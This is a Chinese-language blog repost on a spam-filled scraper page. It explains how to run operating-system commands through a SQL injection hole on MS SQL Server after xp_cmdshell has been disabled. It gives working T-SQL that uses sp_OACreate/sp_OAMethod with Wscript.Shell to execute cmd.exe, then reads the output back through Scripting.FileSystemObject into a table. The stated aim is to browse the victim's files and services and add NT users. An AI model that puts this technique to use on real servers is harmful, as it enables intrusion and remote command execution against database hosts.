国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > shell > 正文

不需xp_cmdshell支持在有注入漏洞的SQL服務器上運行CMD命令

2024-07-21 02:32:08
字體:
來源:轉載
供稿:網友

我的BLOG里有一篇文章介紹了關于SQL注入的基本原理和一些方法。最讓人感興趣的也許就是前面介紹的利用擴展存儲過程xp_cmdshell來運行操作系統的控制臺命令。這種方法也非常的簡單,只需使用下面的SQL語句:

EXEC master.dbo.xp_cmdshell 'dir c:/'

但是越來越多的數據庫管理員已經意識到這個擴展存儲過程的潛在危險,他們可能會將該存儲過程的動態鏈接庫xplog70.dll文件刪除或改了名,這時侯許多人也許會放棄,因為我們無法運行任何的cmd命令,很難查看對方計算機的文件、目錄、開啟的服務,也無法添加NT用戶。

對此作過一番研究,后來我發現即使xp_cmdshell不可用了,還是有可能在服務器上運行CMD并得到回顯結果的,這里要用到SQL服務器另外的幾個系統存儲過程:sp_OACreate,sp_OAGetPRoperty和sp_OAMethod。前提是服務器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 實例上創建 OLE 對象實例。
語法
sp_OACreate progid, clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
獲取 OLE 對象的屬性值。
語法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
調用 OLE 對象的方法。
語法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]


思路:
先在SQL Server 上建立一個Wscript.Shell,調用其run Method,將cmd.exe執行的結果輸出到一個文件中,然后再建立一個Scripting.FileSystemObject,通過它建立一個TextStream對象,讀出臨時文件中的字符,一行一行的添加到一個臨時表中。

以下是相應的SQL語句


CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的參數true指的是將等待程序運行的結果,對于類似ping的長時間命令必需使用此參數。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: 九龙城区| 西昌市| 靖远县| 滁州市| 晋中市| 东兰县| 稷山县| 龙陵县| 育儿| 石门县| 酒泉市| 尉犁县| 克拉玛依市| 广宗县| 睢宁县| 岳阳县| 德江县| 蒙阴县| 汝阳县| 舞钢市| 庄河市| 寿宁县| 赞皇县| 鄂托克旗| 理塘县| 宜黄县| 江口县| 泽州县| 双城市| 呈贡县| 蒲城县| 乌兰浩特市| 湖州市| 林口县| 石渠县| 措美县| 赞皇县| 龙里县| 桓台县| 宿松县| 清苑县|